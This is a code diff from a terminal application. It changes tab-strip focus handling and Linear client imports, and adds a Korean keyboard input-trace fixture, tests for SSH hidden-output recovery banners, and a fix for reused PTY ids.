+        window.removeEventListener('focus', onWindowFocus)
         releaseTabStripPointerGesture()
         cleanupRef.current = null
       }
@@ -74,11 +83,18 @@ export function useTabStripPointerActivation({
       const onPointerCancel = (): void => {
         cleanup()
       }
+      const onWindowFocus = (): void => {
+        if (pendingGuestFocusHandoff) {
+          pendingGuestFocusHandoff = false
+          return
+        }
+        cleanup()
+      }
 
       window.addEventListener('pointerup', onPointerUp)
       window.addEventListener('pointercancel', onPointerCancel)
       window.addEventListener('blur', onPointerCancel)
-      window.addEventListener('focus', onPointerCancel)
+      window.addEventListener('focus', onWindowFocus)
       cleanupRef.current = cleanup
     },
     [disabled]
diff --git a/src/renderer/src/components/task-page/hooks/use-task-page-create-linear-submits.tsx b/src/renderer/src/components/task-page/hooks/use-task-page-create-linear-submits.tsx
index 70e82bd02b4..224ae67d846 100644
--- a/src/renderer/src/components/task-page/hooks/use-task-page-create-linear-submits.tsx
+++ b/src/renderer/src/components/task-page/hooks/use-task-page-create-linear-submits.tsx
@@ -3,11 +3,8 @@ import { toast } from 'sonner'
 
 import { useAppStore } from '@/store'
 import { translate } from '@/i18n/i18n'
-import {
-  linearCreateIssue,
-  linearCreateProject,
-  linearGetIssue
-} from '@/runtime/runtime-linear-client'
+import { linearCreateIssue, linearGetIssue } from '@/runtime/runtime-linear-issue-mutations'
+import { linearCreateProject } from '@/runtime/runtime-linear-project-client'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import type { LinearIssue } from '../../../../../shared/linear/issue-types'
 import type {
diff --git a/src/renderer/src/components/task-page/hooks/use-task-page-linear-board.tsx b/src/renderer/src/components/task-page/hooks/use-task-page-linear-board.tsx
index e1db9aacfee..2682ac33cb8 100644
--- a/src/renderer/src/components/task-page/hooks/use-task-page-linear-board.tsx
+++ b/src/renderer/src/components/task-page/hooks/use-task-page-linear-board.tsx
@@ -7,7 +7,8 @@ import {
   readLinearBoardIssueDragData,
   writeLinearBoardIssueDragData
 } from '@/lib/linear-board-drag-payload'
-import { linearTeamStates, linearUpdateIssue } from '@/runtime/runtime-linear-client'
+import { linearUpdateIssue } from '@/runtime/runtime-linear-issue-mutations'
+import { linearTeamStates } from '@/runtime/runtime-linear-project-client'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import type { LinearIssue } from '../../../../../shared/linear/issue-types'
 import type { LinearTeam } from '../../../../../shared/linear/workspace-types'
diff --git a/src/renderer/src/components/task-page/hooks/use-task-page-linear-create-dialogs.ts b/src/renderer/src/components/task-page/hooks/use-task-page-linear-create-dialogs.ts
index 7403c12d4b9..8d202c57bac 100644
--- a/src/renderer/src/components/task-page/hooks/use-task-page-linear-create-dialogs.ts
+++ b/src/renderer/src/components/task-page/hooks/use-task-page-linear-create-dialogs.ts
@@ -2,7 +2,7 @@ import { useEffect, useMemo, useState, type SetStateAction } from 'react'
 
 import { useTaskCreationDraftRetention } from '@/components/use-task-creation-draft-retention'
 import { useTeamLabels, useTeamMembers, useTeamStates } from '@/hooks/useIssueMetadata'
-import { linearListProjects } from '@/runtime/runtime-linear-client'
+import { linearListProjects } from '@/runtime/runtime-linear-project-client'
 import {
   writeNewLinearIssueDraft,
   writeNewLinearProjectDraft
diff --git a/src/renderer/src/components/task-page/linear/linear-state-cell.tsx b/src/renderer/src/components/task-page/linear/linear-state-cell.tsx
index 03f3d4aa5d4..28da17989a8 100644
--- a/src/renderer/src/components/task-page/linear/linear-state-cell.tsx
+++ b/src/renderer/src/components/task-page/linear/linear-state-cell.tsx
@@ -9,7 +9,7 @@ import {
   getLinearStatePillStyle
 } from '@/components/linear-state-pill-style'
 import { useTeamStates } from '@/hooks/useIssueMetadata'
-import { linearUpdateIssue } from '@/runtime/runtime-linear-client'
+import { linearUpdateIssue } from '@/runtime/runtime-linear-issue-mutations'
 import { cn } from '@/lib/utils'
 import { translate } from '@/i18n/i18n'
 import type { LinearIssue } from '../../../../../shared/linear/issue-types'
diff --git a/src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.tsx b/src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.tsx
index 4eab243241a..f04d7a93180 100644
--- a/src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.tsx
+++ b/src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.tsx
@@ -38,7 +38,9 @@ function ActionRow({
     >
       {action.external === true ? <ExternalLink className="size-3.5" /> : null}
       {action.external === false ? <Globe className="size-3.5" /> : null}
-      <span className="min-w-0 flex-1 text-left">{action.label}</span>
+      <span className="min-w-0 flex-1 truncate text-left" title={action.label}>
+        {action.label}
+      </span>
       <ShortcutKeyCombo keys={keys} keyCapClassName="min-w-5 px-1 py-0 text-[11px]" />
     </Button>
   )
@@ -125,7 +127,7 @@ export function TerminalLinkActionPopover({
           side="top"
           sideOffset={6}
           collisionPadding={8}
-          className="w-max min-w-52 max-w-[min(17rem,calc(100vw-1rem))] p-1"
+          className="w-max min-w-52 max-w-[min(21rem,calc(100vw-1rem))] p-1"
           data-terminal-link-action-popover
           onOpenAutoFocus={(event) => event.preventDefault()}
           onCloseAutoFocus={(event) => event.preventDefault()}
diff --git a/src/renderer/src/components/terminal-pane/__fixtures__/ipados-hardware-2set-hangul-batchim-migration-trace.json b/src/renderer/src/components/terminal-pane/__fixtures__/ipados-hardware-2set-hangul-batchim-migration-trace.json
new file mode 100644
index 00000000000..c208ba06ff1
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/__fixtures__/ipados-hardware-2set-hangul-batchim-migration-trace.json
@@ -0,0 +1,282 @@
+{
+  "source": "iPadOS 26 hardware keyboard, Korean 2-set, xterm helper textarea",
+  "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.3 Safari/605.1.15",
+  "maxTouchPoints": 5,
+  "typed": "gksrmfRownla",
+  "expected": "한글깨쥠",
+  "observedSent": ["한", "글", "깨쥠"],
+  "events": [
+    {
+      "type": "keydown",
+      "key": "ㅎ",
+      "keyCode": 71,
+      "inputType": null,
+      "data": "",
+      "value": ""
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "ㅎ",
+      "value": "ㅎ"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅏ",
+      "keyCode": 75,
+      "inputType": null,
+      "data": "",
+      "value": "ㅎ"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": ""
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "하",
+      "value": "하"
+    },
+    {
+      "type": "keydown",
+      "key": "ㄴ",
+      "keyCode": 83,
+      "inputType": null,
+      "data": "",
+      "value": "하"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": ""
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "한",
+      "value": "한"
+    },
+    {
+      "type": "keydown",
+      "key": "ㄱ",
+      "keyCode": 82,
+      "inputType": null,
+      "data": "",
+      "value": "한"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "ㄱ",
+      "value": "한ㄱ"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅡ",
+      "keyCode": 77,
+      "inputType": null,
+      "data": "",
+      "value": "한ㄱ"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "그",
+      "value": "한그"
+    },
+    {
+      "type": "keydown",
+      "key": "ㄹ",
+      "keyCode": 70,
+      "inputType": null,
+      "data": "",
+      "value": "한그"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "글",
+      "value": "한글"
+    },
+    {
+      "type": "keydown",
+      "key": "Shift",
+      "keyCode": 16,
+      "inputType": null,
+      "data": "",
+      "value": "한글"
+    },
+    {
+      "type": "keydown",
+      "key": "ㄲ",
+      "keyCode": 82,
+      "inputType": null,
+      "data": "",
+      "value": "한글"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "ㄲ",
+      "value": "한글ㄲ"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅐ",
+      "keyCode": 79,
+      "inputType": null,
+      "data": "",
+      "value": "한글ㄲ"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한글"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "깨",
+      "value": "한글깨"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅈ",
+      "keyCode": 87,
+      "inputType": null,
+      "data": "",
+      "value": "한글깨"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한글"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "깾",
+      "value": "한글깾"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅜ",
+      "keyCode": 78,
+      "inputType": null,
+      "data": "",
+      "value": "한글깾"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한글"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "깨주",
+      "value": "한글깨주"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅣ",
+      "keyCode": 76,
+      "inputType": null,
+      "data": "",
+      "value": "한글깨주"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한글깨"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "쥐",
+      "value": "한글깨쥐"
+    },
+    {
+      "type": "keydown",
+      "key": "ㅁ",
+      "keyCode": 65,
+      "inputType": null,
+      "data": "",
+      "value": "한글깨쥐"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "deleteContentBackward",
+      "data": "",
+      "value": "한글깨"
+    },
+    {
+      "type": "input",
+      "key": "",
+      "keyCode": null,
+      "inputType": "insertText",
+      "data": "쥠",
+      "value": "한글깨쥠"
+    }
+  ]
+}
diff --git a/src/renderer/src/components/terminal-pane/direct-ssh-hidden-output-restore-unavailable-banner.test.ts b/src/renderer/src/components/terminal-pane/direct-ssh-hidden-output-restore-unavailable-banner.test.ts
new file mode 100644
index 00000000000..432b6fb9692
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/direct-ssh-hidden-output-restore-unavailable-banner.test.ts
@@ -0,0 +1,404 @@
+import type * as React from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { createDeferred, flushAsyncTicks } from './pty-connection-test-async'
+import {
+  createManager,
+  createMockTransport,
+  createPane,
+  type ConnectCallbacks,
+  type MockTransport
+} from './pty-connection-test-pane-fixtures'
+import { buildPaneConnectionDeps } from './pty-connection-test-deps'
+import { createInitialStoreState } from './pty-connection-test-store-fixtures'
+import type { StoreState } from './pty-connection-test-store-state'
+import {
+  installTerminalTestGlobals,
+  restoreTerminalTestGlobals
+} from './pty-connection-test-environment'
+
+// Direct-SSH sibling of remote-hidden-output-restore-unavailable-banner.repro.test.ts.
+//
+// Reported by a WSL2 user driving remote Coder workspaces over direct SSH:
+//   "[Orca skipped hidden terminal output because main recovery was unavailable.]"
+//   multiple times a day (v1.4.190).
+//
+// Topology modeled: a direct-SSH PTY carries an "ssh:<target>@@<relayPtyId>" id,
+// so isRemoteRuntimePtyId() is FALSE and canUseHiddenOutputSnapshot() routes
+// recovery through window.api.pty.getMainBufferSnapshot. That handler serializes
+// main's model of a stream whose bytes crossed the relay, and it answers null
+// whenever the snapshot cannot be produced in time (ownership settle deadline,
+// provider acquisition timeout, post-gap provider snapshot requirement).
+//
+// Per docs/reference/ssh-execution-boundary.md a null from a remote execution
+// host is `unverifiable`, never proof the bytes are gone — the same rule the
+// "remote:" path already honours via the retry/re-arm budget.
+//
+// Repro command:
+//   pnpm exec vitest run --config config/vitest.config.ts \
+//     src/renderer/src/components/terminal-pane/direct-ssh-hidden-output-restore-unavailable-banner.test.ts
+
+const scheduleRuntimeGraphSync = vi.fn()
+const shouldSeedCacheTimerOnInitialTitle = vi.fn(() => false)
+const toastInfo = vi.fn()
+const notifyCodexPaneBoundForStaleSweep = vi.fn()
+
+let mockStoreState: StoreState
+let transportFactoryQueue: MockTransport[] = []
+let createdTransportOptions: Record<string, unknown>[] = []
+let storeSubscribers: ((state: StoreState) => void)[] = []
+
+vi.mock('@/runtime/sync-runtime-graph', () => ({
+  scheduleRuntimeGraphSync
+}))
+
+vi.mock('@/store', () => ({
+  useAppStore: {
+    getState: () => mockStoreState,
+    subscribe: (listener: (state: StoreState) => void) => {
+      storeSubscribers.push(listener)
+      return () => {
+        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
+      }
+    }
+  }
+}))
+
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const { buildAgentStatusModuleMock } = await import('./pty-connection-test-environment')
+  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
+})
+
+vi.mock('./cache-timer-seeding', () => ({
+  shouldSeedCacheTimerOnInitialTitle
+}))
+
+vi.mock('sonner', () => ({
+  toast: {
+    info: toastInfo
+  }
+}))
+
+vi.mock('@/lib/codex-stale-pane-sweep', () => ({
+  notifyCodexPaneBoundForStaleSweep
+}))
+
+vi.mock('react', async (importOriginal) => {
+  const actual = await importOriginal<typeof React>()
+  return {
+    ...actual,
+    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
+  }
+})
+
+vi.mock('./pty-transport', () => ({
+  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
+    createdTransportOptions.push(options)
+    const nextTransport = transportFactoryQueue.shift()
+    if (!nextTransport) {
+      throw new Error('No mock transport queued')
+    }
+    return nextTransport
+  })
+}))
+
+vi.mock('./remote-runtime-pty-transport', () => ({
+  createRemoteRuntimePtyTransport: vi.fn(
+    (_environmentId: string, options: Record<string, unknown>) => {
+      createdTransportOptions.push(options)
+      const nextTransport = transportFactoryQueue.shift()
+      if (!nextTransport) {
+        throw new Error('No mock transport queued')
+      }
+      return nextTransport
+    }
+  )
+}))
+
+vi.mock('./pty-dispatcher', async (importOriginal) => {
+  const actual = await importOriginal<Record<string, unknown>>()
+  return {
+    ...actual,
+    getEagerPtyBufferHandle: vi.fn(() => undefined)
+  }
+})
+
+// ── Scenario identities ─────────────────────────────────────────────────────
+// Real direct-SSH app PTY id shape (shared/ssh-pty-id.ts).
+const SSH_PTY_ID = 'ssh:coder-ws@@pty-1'
+// Overflows the renderer's hidden background queue (2MB lossy cap), dropping the
+// backlog and latching main-model restore.
+const HIDDEN_BYTES = 'x'.repeat(2 * 1024 * 1024 + 1)
+const LIVE_AGENT_CHUNK = 'LIVE_AGENT_CHUNK\r\n'
+const HOST_SNAPSHOT_MARKER = 'HOST_SNAPSHOT_HIDDEN_AGENT_CONTENT'
+const HOST_SNAPSHOT = {
+  data: `${HOST_SNAPSHOT_MARKER}\r\n`,
+  cols: 120,
+  rows: 40,
+  seq: HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length,
+  source: 'headless'
+}
+const BANNER_FRAGMENT = 'main recovery was unavailable'
+
+type HostSnapshot = typeof HOST_SNAPSHOT
+
+type SshPaneDrive = {
+  transport: MockTransport
+  pane: ReturnType<typeof createPane>
+  deps: ReturnType<typeof buildPaneConnectionDeps>
+  disposable: { dispose: () => void }
+  deliver: (data: string, seq: number) => void
+  writtenChunks: () => string[]
+}
+
+function stubMainBufferSnapshot(
+  impl: () => Promise<HostSnapshot | null>
+): ReturnType<typeof vi.fn> {
+  const getMainBufferSnapshot = vi.fn(impl)
+  ;(window.api.pty as unknown as Record<string, unknown>).getMainBufferSnapshot =
+    getMainBufferSnapshot
+  return getMainBufferSnapshot
+}
+
+async function connectHiddenDirectSshPane(): Promise<SshPaneDrive> {
+  const { connectPanePty } = await import('./pty-connection')
+  const transport = createMockTransport(SSH_PTY_ID)
+  const capturedDataCallback: {
+    current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
+  } = { current: null }
+  transport.connect.mockImplementation(async ({ callbacks }: { callbacks?: ConnectCallbacks }) => {
+    capturedDataCallback.current = callbacks?.onData ?? null
+    return SSH_PTY_ID
+  })
+  transportFactoryQueue.push(transport)
+  const pane = createPane(1)
+  const manager = createManager(1)
+  const deps = buildPaneConnectionDeps(() => mockStoreState, {
+    isVisibleRef: { current: false }
+  })
+  const disposable = connectPanePty(pane as never, manager as never, deps as never)
+  await flushAsyncTicks(6)
+  expect(capturedDataCallback.current).not.toBeNull()
+  return {
+    transport,
+    pane,
+    deps,
+    disposable,
+    deliver: (data, seq) => capturedDataCallback.current?.(data, { seq, rawLength: data.length }),
+    writtenChunks: () => pane.terminal.write.mock.calls.map(([data]) => String(data))
+  }
+}
+
+function driveHiddenBacklogThenReveal(drive: SshPaneDrive): void {
+  drive.deliver(HIDDEN_BYTES, HIDDEN_BYTES.length)
+  ;(drive.deps.isVisibleRef as { current: boolean }).current = true
+  drive.deliver(LIVE_AGENT_CHUNK, HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length)
+}
+
+async function advanceThroughNullRetryBudget(): Promise<void> {
+  for (let retry = 0; retry < 3; retry++) {
+    vi.advanceTimersByTime(50)
+    vi.advanceTimersByTime(0)
+    await flushAsyncTicks(10)
+  }
+}
+
+async function allowSelfHealWindow(): Promise<void> {
+  for (let step = 0; step < 10; step += 1) {
+    await vi.advanceTimersByTimeAsync(500)
+    await flushAsyncTicks(20)
+  }
+}
+
+function observeFinalPaneState(drive: SshPaneDrive): {
+  rawHiddenBacklogWritten: boolean
+  liveAgentChunkWritten: boolean
+  unavailableBannerWritten: boolean
+  hiddenOutputRecoveredFromHostSnapshot: boolean
+} {
+  const joined = drive.writtenChunks().join('')
+  return {
+    rawHiddenBacklogWritten: joined.includes('x'.repeat(1024)),
+    liveAgentChunkWritten: joined.includes('LIVE_AGENT_CHUNK'),
+    unavailableBannerWritten: joined.includes(BANNER_FRAGMENT),
+    hiddenOutputRecoveredFromHostSnapshot: joined.includes(HOST_SNAPSHOT_MARKER)
+  }
+}
+
+describe('direct-SSH hidden-output restore abandonment', () => {
+  beforeEach(() => {
+    vi.resetModules()
+    vi.clearAllMocks()
+    transportFactoryQueue = []
+    createdTransportOptions = []
+    storeSubscribers = []
+    mockStoreState = createInitialStoreState(() => mockStoreState)
+    installTerminalTestGlobals()
+    // The reporter's client is WSL2, but the banner path is platform-independent;
+    // pin darwin so the Windows synchronized-output scan stays out of the writes.
+    ;(window.api.platform as unknown as Record<string, unknown>).get = vi.fn(() => ({
+      platform: 'darwin',
+      osRelease: '25.0.0'
+    }))
+  })
+
+  afterEach(async () => {
+    await restoreTerminalTestGlobals()
+  })
+
+  it('[invariant] must not declare recovery unavailable when the SSH host snapshot is one retry tick away', async () => {
+    const getMainBufferSnapshot: ReturnType<typeof vi.fn> = stubMainBufferSnapshot(async () =>
+      getMainBufferSnapshot.mock.calls.length <= 4 ? null : HOST_SNAPSHOT
+    )
+    const drive = await connectHiddenDirectSshPane()
+    vi.useFakeTimers()
+    driveHiddenBacklogThenReveal(drive)
+    await flushAsyncTicks(20)
+    expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
+
+    await advanceThroughNullRetryBudget()
+    await allowSelfHealWindow()
+
+    expect(observeFinalPaneState(drive)).toEqual({
+      rawHiddenBacklogWritten: false,
+      liveAgentChunkWritten: true,
+      unavailableBannerWritten: false,
+      hiddenOutputRecoveredFromHostSnapshot: true
+    })
+    drive.disposable.dispose()
+  })
+
+  it('[invariant] must not turn a merely-slow SSH host snapshot into a loss banner and a permanent scrollback gap', async () => {
+    const slowSnapshot = createDeferred<HostSnapshot>()
+    const getMainBufferSnapshot = stubMainBufferSnapshot(async () => HOST_SNAPSHOT)
+    getMainBufferSnapshot.mockReturnValueOnce(slowSnapshot.promise)
+    const drive = await connectHiddenDirectSshPane()
+    vi.useFakeTimers()
+    driveHiddenBacklogThenReveal(drive)
+    await flushAsyncTicks(20)
+
+    // The 750ms foreground deadline elapses while main is still serializing.
+    vi.advanceTimersByTime(750)
+    vi.advanceTimersByTime(0)
+    await flushAsyncTicks(10)
+    slowSnapshot.resolve(HOST_SNAPSHOT)
+    await flushAsyncTicks(20)
+    await allowSelfHealWindow()
+
+    expect(observeFinalPaneState(drive)).toEqual({
+      rawHiddenBacklogWritten: false,
+      liveAgentChunkWritten: true,
+      unavailableBannerWritten: false,
+      hiddenOutputRecoveredFromHostSnapshot: true
+    })
+    drive.disposable.dispose()
+  })
+
+  it('[invariant] a permanently silent SSH host banners once after a bounded number of re-arms and then stops requesting', async () => {
+    const getMainBufferSnapshot = stubMainBufferSnapshot(async () => null)
+    const drive = await connectHiddenDirectSshPane()
+    vi.useFakeTimers()
+    driveHiddenBacklogThenReveal(drive)
+    await flushAsyncTicks(20)
+    await advanceThroughNullRetryBudget()
+
+    expect(drive.writtenChunks().join('')).toContain('LIVE_AGENT_CHUNK')
+
+    for (let step = 0; step < 6; step += 1) {
+      await allowSelfHealWindow()
+    }
+    const bannerCount = drive
+      .writtenChunks()
+      .filter((data) => data.includes(BANNER_FRAGMENT)).length
+    expect(bannerCount).toBe(1)
+    const settledRequests = getMainBufferSnapshot.mock.calls.length
+    expect(settledRequests).toBeGreaterThan(4)
+    expect(settledRequests).toBeLessThan(40)
+
+    for (let step = 0; step < 4; step += 1) {
+      await allowSelfHealWindow()
+    }
+    expect(getMainBufferSnapshot.mock.calls.length).toBe(settledRequests)
+    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT)).length).toBe(1)
+    drive.disposable.dispose()
+  })
+
+  // The re-arm budget bounds one stall; live bytes are not evidence the host can
+  // answer again. Continuous output on the SAME ssh: id must not re-open recovery
+  // or refresh the budget, or the bounded re-arm becomes a permanent ~2s repaint loop.
+  it('[invariant] continuous live output on a silent SSH host cannot refresh the re-arm budget into a repaint loop', async () => {
+    const getMainBufferSnapshot = stubMainBufferSnapshot(async () => null)
+    const drive = await connectHiddenDirectSshPane()
+    vi.useFakeTimers()
+    driveHiddenBacklogThenReveal(drive)
+    await flushAsyncTicks(20)
+    await advanceThroughNullRetryBudget()
+
+    let seq = HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length
+    for (let step = 0; step < 60; step += 1) {
+      const chunk = `LIVE_TICK_${step}\r\n`
+      seq += chunk.length
+      drive.deliver(chunk, seq)
+      await vi.advanceTimersByTimeAsync(300)
+      await flushAsyncTicks(20)
+    }
+
+    const joined = drive.writtenChunks().join('')
+    expect(joined).toContain('LIVE_TICK_0')
+    expect(joined).toContain('LIVE_TICK_59')
+    expect(joined.split(BANNER_FRAGMENT).length - 1).toBe(1)
+    const settledRequests = getMainBufferSnapshot.mock.calls.length
+    expect(settledRequests).toBeLessThan(40)
+
+    for (let step = 0; step < 30; step += 1) {
+      const chunk = `LIVE_TAIL_${step}\r\n`
+      seq += chunk.length
+      drive.deliver(chunk, seq)
+      await vi.advanceTimersByTimeAsync(300)
+      await flushAsyncTicks(20)
+    }
+    expect(getMainBufferSnapshot.mock.calls.length).toBe(settledRequests)
+    expect(drive.writtenChunks().join('').split(BANNER_FRAGMENT).length - 1).toBe(1)
+    drive.disposable.dispose()
+  })
+
+  // The re-arm budget bounds ONE stall. It only clears on a successful snapshot or
+  // a PTY change, so without an explicit reset at the banner a single long outage
+  // leaves a long-lived SSH pane permanently at zero tolerance.
+  it('[invariant] a spent re-arm budget must not leave the SSH pane at zero tolerance for its next hidden episode', async () => {
+    const revivedSnapshot = createDeferred<HostSnapshot>()
+    let hostIsSilent = true
+    stubMainBufferSnapshot(async () => (hostIsSilent ? null : revivedSnapshot.promise))
+    const drive = await connectHiddenDirectSshPane()
+    vi.useFakeTimers()
+    driveHiddenBacklogThenReveal(drive)
+    await flushAsyncTicks(20)
+    await advanceThroughNullRetryBudget()
+    for (let step = 0; step < 6; step += 1) {
+      await allowSelfHealWindow()
+    }
+    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
+
+    // Second episode on the SAME ssh: id: the host is alive again but its snapshot
+    // lands just past the 750ms foreground deadline.
+    hostIsSilent = false
+    let seq = HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length
+    ;(drive.deps.isVisibleRef as { current: boolean }).current = false
+    seq += HIDDEN_BYTES.length
+    drive.deliver(HIDDEN_BYTES, seq)
+    ;(drive.deps.isVisibleRef as { current: boolean }).current = true
+    seq += LIVE_AGENT_CHUNK.length
+    drive.deliver(LIVE_AGENT_CHUNK, seq)
+    await flushAsyncTicks(20)
+    vi.advanceTimersByTime(750)
+    vi.advanceTimersByTime(0)
+    await flushAsyncTicks(10)
+    revivedSnapshot.resolve(HOST_SNAPSHOT)
+    await flushAsyncTicks(20)
+    await allowSelfHealWindow()
+
+    const joined = drive.writtenChunks().join('')
+    expect(joined.split(BANNER_FRAGMENT).length - 1).toBe(1)
+    expect(joined).toContain(HOST_SNAPSHOT_MARKER)
+    drive.disposable.dispose()
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/hangul-jamo-key.ts b/src/renderer/src/components/terminal-pane/hangul-jamo-key.ts
new file mode 100644
index 00000000000..16b6eb2e853
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/hangul-jamo-key.ts
@@ -0,0 +1,9 @@
+/** Jamo a hardware keyboard reports directly in `KeyboardEvent.key`: conjoining,
+ *  compatibility, extended and halfwidth forms. Shift-typed doubles (ㄲ ㄸ ㅃ ㅆ ㅉ)
+ *  live in the compatibility block alongside the singles. */
+const HANGUL_JAMO_KEY = /^[ᄀ-ᇿ㄰-㆏ꥠ-꥿ힰ-퟿ﾠ-ￜ]$/
+
+/** Returns whether `key` is a single Hangul jamo. */
+export function isHangulJamoKeyText(key: string): boolean {
+  return HANGUL_JAMO_KEY.test(key)
+}
diff --git a/src/renderer/src/components/terminal-pane/ipc-pty-connect.ts b/src/renderer/src/components/terminal-pane/ipc-pty-connect.ts
index 7dc5647d8b8..c734ea6ccee 100644
--- a/src/renderer/src/components/terminal-pane/ipc-pty-connect.ts
+++ b/src/renderer/src/components/terminal-pane/ipc-pty-connect.ts
@@ -3,6 +3,8 @@ import { extractIpcErrorMessage } from '@/lib/ipc-error'
 import { ensurePtyDispatcher } from './pty-dispatcher'
 import {
   clearConsumedPreHandlerPtyExit,
+  currentPreHandlerPtySequence,
+  discardPreHandlerPtyStateFromPriorIncarnation,
   hasPreHandlerPtyExit,
   isPreHandlerPtyStateDiscarded
 } from './pty-pre-handler-buffer'
@@ -68,6 +70,10 @@ export async function connectIpcPty(
     if (options.shouldContinue && !options.shouldContinue()) {
       return
     }
+    // Why read it before the request and not after: a redeployed SSH relay renumbers from pty-1, so
+    // this spawn can be handed an id a dead PTY used to own. State dated at or below this fence was
+    // recorded before we asked for a PTY, so it belongs to that earlier owner, not to us.
+    const priorIncarnationFence = currentPreHandlerPtySequence()
     const spawnResult = await spawnIpcPty(transportOptions, options, admittedSessionId)
     const retireFreshSpawn = async (): Promise<void> => {
       if (!spawnResult.isReattach && !spawnResult.coldRestore) {
@@ -87,6 +93,11 @@ export async function connectIpcPty(
       context.getCallbacks().onReattachDetermined?.()
     }
 
+    if (!admittedSessionId && !spawnResult.isReattach && !spawnResult.coldRestore) {
+      // Why only a fresh spawn: a reattach deliberately re-owns an id that already existed, so its
+      // buffered exit is the real thing. A fresh spawn's PTY did not exist yet.
+      discardPreHandlerPtyStateFromPriorIncarnation(spawnResult.id, priorIncarnationFence)
+    }
     context.bind(spawnResult.id)
     if (!spawnResult.isReattach && !spawnResult.coldRestore) {
       onPtySpawn?.(spawnResult.id)
diff --git a/src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-reconciliation.test.ts b/src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-reconciliation.test.ts
index d821de65fd1..c08315150ac 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-reconciliation.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-reconciliation.test.ts
@@ -356,10 +356,12 @@ describe('connectPanePty', () => {
         await flushAsyncTicks(8)
 
         const replies = transport.sendInputImmediate.mock.calls.map((call) => String(call[0]))
-        expect(replies.some((reply) => reply.startsWith('\x1b]11;rgb:'))).toBe(true)
         // oxlint-disable-next-line no-control-regex -- the ESC byte IS the payload: this matches the CPR reply
-        expect(replies.some((reply) => /^\u001b\[\d+;\d+R$/.test(reply))).toBe(true)
-        expect(replies).toContain(DEFAULT_DA1_RESPONSE)
+        const cprReply = replies.find((reply) => /^\u001b\[\d+;\d+R$/.test(reply))
+        const oscReply = replies.find((reply) => reply.startsWith('\x1b]11;rgb:'))
+        expect(oscReply).toBeDefined()
+        expect(cprReply).toBeDefined()
+        expect(replies).toEqual([oscReply, cprReply, DEFAULT_DA1_RESPONSE])
         const written = writtenFloodData(pane)
         expect(written).not.toContain('aaaa')
